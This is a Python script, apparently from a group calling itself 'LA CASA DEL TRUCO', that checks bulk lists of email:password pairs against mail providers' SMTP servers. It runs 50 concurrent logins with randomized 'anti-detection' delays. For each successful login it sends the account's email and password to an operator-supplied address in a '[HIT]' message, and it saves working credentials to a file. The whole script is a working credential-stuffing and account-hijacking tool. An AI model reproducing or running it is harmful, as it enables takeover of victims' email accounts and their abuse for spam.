#!/usr/bin/env python3
"""
SMTP Checker - LA CASA DEL TRUCO v2.1
=====================================
Verificador de cuentas SMTP con envío de prueba real.
Solo muestra y guarda las cuentas que logran autenticarse Y enviar correo.

Uso:
    python smtp_checker.py cuentas.txt -e destino@email.com
    python smtp_checker.py cuentas.txt -e destino@email.com -t 30 -o resultados

Formatos de entrada soportados:
    - server|port|email|password
    - email:password (auto-detecta servidor)
    - email|password
"""

import asyncio
import aiosmtplib
import dns.asyncresolver
import re
import logging
import time
import os
import sys
import argparse
import random
from typing import List, Tuple, Optional
from dataclasses import dataclass, field
from datetime import datetime
from collections import defaultdict
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formatdate, make_msgid

# === CONFIGURACIÓN ===
CONFIG = {
    'max_concurrent': 50,
    'timeout': 15,
    'max_retries': 2,
    'random_delay': (0.05, 0.3),
    'batch_size': 100,
}

# === PROVEEDORES SMTP CONOCIDOS ===
SMTP_PROVIDERS = {
    # Microsoft
    'hotmail.com': ('smtp.office365.com', 587),
    'outlook.com': ('smtp.office365.com', 587),
    'live.com': ('smtp.office365.com', 587),
    'msn.com': ('smtp.office365.com', 587),
    'hotmail.co.jp': ('smtp.office365.com', 587),
    'live.jp': ('smtp.office365.com', 587),
    'outlook.jp': ('smtp.office365.com', 587),
    
    # Google
    'gmail.com': ('smtp.gmail.com', 587),
    'googlemail.com': ('smtp.gmail.com', 587),
    
    # Yahoo
    'yahoo.com': ('smtp.mail.yahoo.com', 587),
    'yahoo.co.jp': ('smtp.mail.yahoo.co.jp', 587),
    'ymail.com': ('smtp.mail.yahoo.com', 587),
    
    # AOL
    'aol.com': ('smtp.aol.com', 587),
    
    # Otros
    'zoho.com': ('smtp.zoho.com', 587),
    'yandex.ru': ('smtp.yandex.ru', 587),
    'mail.ru': ('smtp.mail.ru', 587),
    
    # Japoneses
    'ocn.ne.jp': ('smtp.ocn.ne.jp', 587),
    'nifty.com': ('smtp.nifty.com', 587),
    'biglobe.ne.jp': ('smtp.biglobe.ne.jp', 587),
    'so-net.ne.jp': ('smtp.so-net.ne.jp', 587),
    'plala.or.jp': ('smtp.plala.or.jp', 587),
    'eonet.ne.jp': ('smtps.eonet.ne.jp', 587),
    'docomo.ne.jp': ('smtp.spmode.ne.jp', 587),
    'ezweb.ne.jp': ('smtp.ezweb.ne.jp', 587),
    'softbank.ne.jp': ('smtp.softbank.jp', 587),
}


@dataclass
class SMTPAccount:
    """Representa una cuenta SMTP para verificar"""
    email: str
    password: str
    server: str = ""
    port: int = 587
    status: str = "pending"
    error: str = ""
    response_time: float = 0.0
    
    def __post_init__(self):
        if '@' in self.email:
            self.domain = self.email.split('@')[1].lower()
        else:
            self.domain = ""
    
    def to_line(self) -> str:
        """Formato de salida: server|port|email|password"""
        return f"{self.server}|{self.port}|{self.email}|{self.password}"


class RateLimiter:
    """Control de rate limiting por dominio"""
    def __init__(self, requests_per_minute: int = 60):
        self.rpm = requests_per_minute
        self.requests = defaultdict(list)
    
    async def wait_if_needed(self, domain: str):
        now = time.time()
        reqs = self.requests[domain]
        reqs[:] = [t for t in reqs if now - t < 60]
        
        if len(reqs) >= self.rpm:
            wait_time = 60 - (now - reqs[0])
            if wait_time > 0:
                await asyncio.sleep(wait_time)
        
        reqs.append(now)


class SMTPChecker:
    """Verificador de cuentas SMTP con envío de prueba"""
    
    def __init__(self, test_email: str, config: dict = None):
        self.test_email = test_email
        self.config = config or CONFIG
        self.rate_limiter = RateLimiter()
        self.hits: List[SMTPAccount] = []
        self.stats = {
            'total': 0,
            'checked': 0,
            'hits': 0,
            'failed': 0,
            'errors': 0,
            'start_time': time.time()
        }
        
        # Configurar logging
        logging.basicConfig(
            level=logging.INFO,
            format='%(asctime)s | %(message)s',
            datefmt='%H:%M:%S',
            handlers=[
                logging.FileHandler('checker.log', encoding='utf-8'),
                logging.StreamHandler(sys.stdout)
            ]
        )
        self.logger = logging.getLogger(__name__)
        
        # UTF-8 para Windows
        if sys.platform == 'win32':
            import io
            sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace')
    
    async def _get_smtp_server(self, domain: str) -> Tuple[str, int]:
        """Obtiene servidor SMTP para un dominio"""
        # 1. Buscar en proveedores conocidos
        if domain in SMTP_PROVIDERS:
            return SMTP_PROVIDERS[domain]
        
        # 2. Buscar coincidencia parcial (subdominios)
        for provider, config in SMTP_PROVIDERS.items():
            if domain.endswith(f'.{provider}') or domain.endswith(provider):
                return config
        
        # 3. Auto-detectar vía MX records
        try:
            resolver = dns.asyncresolver.Resolver()
            resolver.timeout = 5
            resolver.lifetime = 5
            mx_records = await resolver.resolve(domain, 'MX')
            mx_list = [str(mx.exchange).lower() for mx in mx_records]
            
            # Detectar Microsoft
            if any('outlook.com' in mx or 'microsoft.com' in mx for mx in mx_list):
                return ('smtp.office365.com', 587)
            
            # Detectar Google
            if any('google.com' in mx or 'googlemail.com' in mx for mx in mx_list):
                return ('smtp.gmail.com', 587)
        except Exception:
            pass
        
        # 4. Fallback: usar smtp.domain
        return (f'smtp.{domain}', 587)
    
    async def check_and_send(self, account: SMTPAccount) -> bool:
        """
        Verifica una cuenta SMTP intentando enviar un correo real.
        Retorna True SOLO si el correo se envió exitosamente.
        """
        start_time = time.time()
        
        for attempt in range(self.config['max_retries'] + 1):
            try:
                # Rate limiting
                await self.rate_limiter.wait_if_needed(account.domain)
                
                # Obtener servidor si no está especificado
                if not account.server:
                    account.server, account.port = await self._get_smtp_server(account.domain)
                
                # Delay aleatorio anti-detección
                await asyncio.sleep(random.uniform(*self.config['random_delay']))
                
                # Crear mensaje de prueba
                msg = MIMEMultipart()
                msg['From'] = account.email
                msg['To'] = self.test_email
                msg['Subject'] = f"[HIT] {account.email}"
                msg['Date'] = formatdate(localtime=True)
                msg['Message-ID'] = make_msgid(domain=account.domain)
                
                body = f"""✓ SMTP VERIFICADO

Cuenta: {account.email}
Password: {account.password}
Servidor: {account.server}:{account.port}
Fecha: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}

---
LA CASA DEL TRUCO v2.1
"""
                msg.attach(MIMEText(body, 'plain', 'utf-8'))
                
                # Determinar tipo de conexión
                use_tls = account.port == 465
                start_tls = account.port in [587, 25]
                
                # Enviar correo
                await aiosmtplib.send(
                    msg,
                    hostname=account.server,
                    port=account.port,
                    username=account.email,
                    password=account.password,
                    use_tls=use_tls,
                    start_tls=start_tls,
                    timeout=self.config['timeout']
                )
                
                # ¡ÉXITO!
                account.response_time = time.time() - start_time
                account.status = 'hit'
                return True
                
            except Exception as e:
                error_str = str(e).lower()
                
                # Errores de autenticación (no reintentar)
                auth_errors = ['authentication', 'credentials', 'password', 'login', '535', '534']
                if any(err in error_str for err in auth_errors):
                    account.error = "Auth failed"
                    account.status = 'auth_failed'
                    return False
                
                # Errores de spam/bloqueo (no reintentar)
                block_errors = ['spam', 'blocked', 'rejected', 'denied', 'blacklist']
                if any(err in error_str for err in block_errors):
                    account.error = "Blocked/Spam"
                    account.status = 'blocked'
                    return False
                
                # Último intento fallido
                if attempt == self.config['max_retries']:
                    account.error = str(e)[:50]
                    account.status = 'error'
                    return False
                
                # Esperar antes de reintentar
                await asyncio.sleep(2 ** attempt)
        
        return False
    
    async def process_account(self, account: SMTPAccount) -> SMTPAccount:
        """Procesa una cuenta y actualiza estadísticas"""
        self.stats['total'] += 1
        
        result = await self.check_and_send(account)
        
        self.stats['checked'] += 1
        
        if result:
            self.stats['hits'] += 1
            self.hits.append(account)
            print(f"\n{'='*60}")
            print(f"  ✓✓✓ HIT ✓✓✓")
            print(f"  {account.email}:{account.password}")
            print(f"  Server: {account.server}:{account.port}")
            print(f"  Time: {account.response_time:.2f}s")
            print(f"{'='*60}\n")
            self.logger.info(f"[HIT] {account.email} -> {account.server}")
        else:
            self.stats['failed'] += 1
        
        # Progreso cada 10 cuentas
        if self.stats['checked'] % 10 == 0:
            self._print_progress()
        
        return account
    
    async def process_batch(self, accounts: List[SMTPAccount]) -> List[SMTPAccount]:
        """Procesa un lote de cuentas concurrentemente"""
        semaphore = asyncio.Semaphore(self.config['max_concurrent'])
        
        async def check_with_semaphore(acc):
            async with semaphore:
                return await self.process_account(acc)
        
        tasks = [check_with_semaphore(acc) for acc in accounts]
        results = await asyncio.gather(*tasks, return_exceptions=True)
        
        return [r for r in results if isinstance(r, SMTPAccount)]
    
    def load_accounts(self, input_file: str) -> List[SMTPAccount]:
        """Carga cuentas desde archivo"""
        accounts = []
        
        # Formato con servidor: server|port|email|password
        smtp_pattern = r'^(?P<server>[^|]+)\|(?P<port>\d+)\|(?P<email>[^|]+)\|(?P<password>.+)$'
        
        # Formato simple: email:password o email|password
        simple_patterns = [
            r'^(?P<email>[^:|]+):(?P<password>.+)$',
            r'^(?P<email>[^|]+)\|(?P<password>.+)$',
        ]
        
        try:
            with open(input_file, 'r', encoding='utf-8', errors='ignore') as f:
                for line_num, line in enumerate(f, 1):
                    line = line.strip()
                    if not line or line.startswith('#'):
                        continue
                    
                    # Intentar formato SMTP primero
                    match = re.match(smtp_pattern, line)
                    if match:
                        data = match.groupdict()
                        accounts.append(SMTPAccount(
                            email=data['email'].strip(),
                            password=data['password'].strip(),
                            server=data['server'].strip(),
                            port=int(data['port'])
                        ))
                        continue
                    
                    # Intentar formatos simples
                    for pattern in simple_patterns:
                        match = re.match(pattern, line)
                        if match:
                            data = match.groupdict()
                            accounts.append(SMTPAccount(
                                email=data['email'].strip(),
                                password=data['password'].strip()
                            ))
                            break
            
            self.logger.info(f"Cargadas {len(accounts)} cuentas de {input_file}")
            return accounts
            
        except Exception as e:
            self.logger.error(f"Error cargando archivo: {e}")
            return []
    
    def save_hits(self, output_file: str = 'Live_Valid.txt'):
        """Guarda SOLO los hits en archivo"""
        with open(output_file, 'w', encoding='utf-8') as f:
            for acc in self.hits:
                f.write(f"{acc.to_line()}\n")
        
        self.logger.info(f"Guardados {len(self.hits)} hits en {output_file}")
    
    def _print_progress(self):
        """Muestra progreso en consola"""
        elapsed = time.time() - self.stats['start_time']
        rate = self.stats['checked'] / max(elapsed, 1)
        print(f"\r[PROGRESS] {self.stats['checked']}/{self.stats['total']} | "
              f"Hits: {self.stats['hits']} | "
              f"Rate: {rate:.1f}/s", end='', flush=True)
    
    def print_final_stats(self):
        """Muestra estadísticas finales"""
        elapsed = time.time() - self.stats['start_time']
        
        print(f"\n\n{'='*60}")
        print(f"  SMTP CHECKER - RESULTADOS FINALES")
        print(f"{'='*60}")
        print(f"  Total probadas:  {self.stats['total']}")
        print(f"  ✓ HITS (enviaron): {self.stats['hits']}")
        print(f"  ✗ Fallidas:      {self.stats['failed']}")
        print(f"  Tiempo total:    {elapsed:.1f}s")
        print(f"  Rate:            {self.stats['checked']/max(elapsed,1):.1f}/s")
        print(f"{'='*60}\n")


async def main():
    # Suprimir warnings
    import warnings
    warnings.filterwarnings('ignore')
    logging.getLogger('asyncio').setLevel(logging.CRITICAL)
    
    parser = argparse.ArgumentParser(
        description='SMTP Checker - Verifica cuentas enviando correo de prueba',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Ejemplos:
  python smtp_checker.py cuentas.txt -e test@gmail.com
  python smtp_checker.py cuentas.txt -e test@gmail.com -t 30
  python smtp_checker.py cuentas.txt -e test@gmail.com -o mis_resultados.txt

Formatos de entrada:
  server|port|email|password   (ej: smtp.gmail.com|587|user@gmail.com|pass123)
  email:password               (ej: user@gmail.com:pass123)
  email|password               (ej: user@gmail.com|pass123)
        """
    )
    parser.add_argument('input', help='Archivo con cuentas SMTP')
    parser.add_argument('-e', '--email', required=True,
                       help='Email de destino para pruebas de envío')
    parser.add_argument('-t', '--threads', type=int, default=50,
                       help='Conexiones concurrentes (default: 50)')
    parser.add_argument('-o', '--output', default='Live_Valid.txt',
                       help='Archivo de salida para hits (default: Live_Valid.txt)')
    parser.add_argument('--timeout', type=int, default=15,
                       help='Timeout por conexión en segundos (default: 15)')
    
    args = parser.parse_args()
    
    # Actualizar config
    CONFIG['max_concurrent'] = args.threads
    CONFIG['timeout'] = args.timeout
    
    # Banner
    print(f"\n{'#'*60}")
    print(f"  SMTP CHECKER - LA CASA DEL TRUCO v2.1")
    print(f"  Email destino: {args.email}")
    print(f"  Threads: {args.threads} | Timeout: {args.timeout}s")
    print(f"{'#'*60}\n")
    
    # Inicializar checker
    checker = SMTPChecker(test_email=args.email, config=CONFIG)
    
    # Cargar cuentas
    accounts = checker.load_accounts(args.input)
    if not accounts:
        print("No se encontraron cuentas válidas. Saliendo.")
        return
    
    print(f"Cuentas a verificar: {len(accounts)}\n")
    
    # Procesar en lotes
    batch_size = CONFIG['batch_size']
    for i in range(0, len(accounts), batch_size):
        batch = accounts[i:i + batch_size]
        batch_num = i // batch_size + 1
        total_batches = (len(accounts) + batch_size - 1) // batch_size
        print(f"\n--- Lote {batch_num}/{total_batches} ---")
        
        await checker.process_batch(batch)
        
        # Guardar progreso
        checker.save_hits(args.output)
    
    # Resultados finales
    checker.print_final_stats()
    print(f"Hits guardados en: {args.output}")


if __name__ == "__main__":
    import signal
    
    def signal_handler(sig, frame):
        print("\n\nInterrupción. Saliendo...")
        sys.exit(0)
    
    signal.signal(signal.SIGINT, signal_handler)
    
    asyncio.run(main())
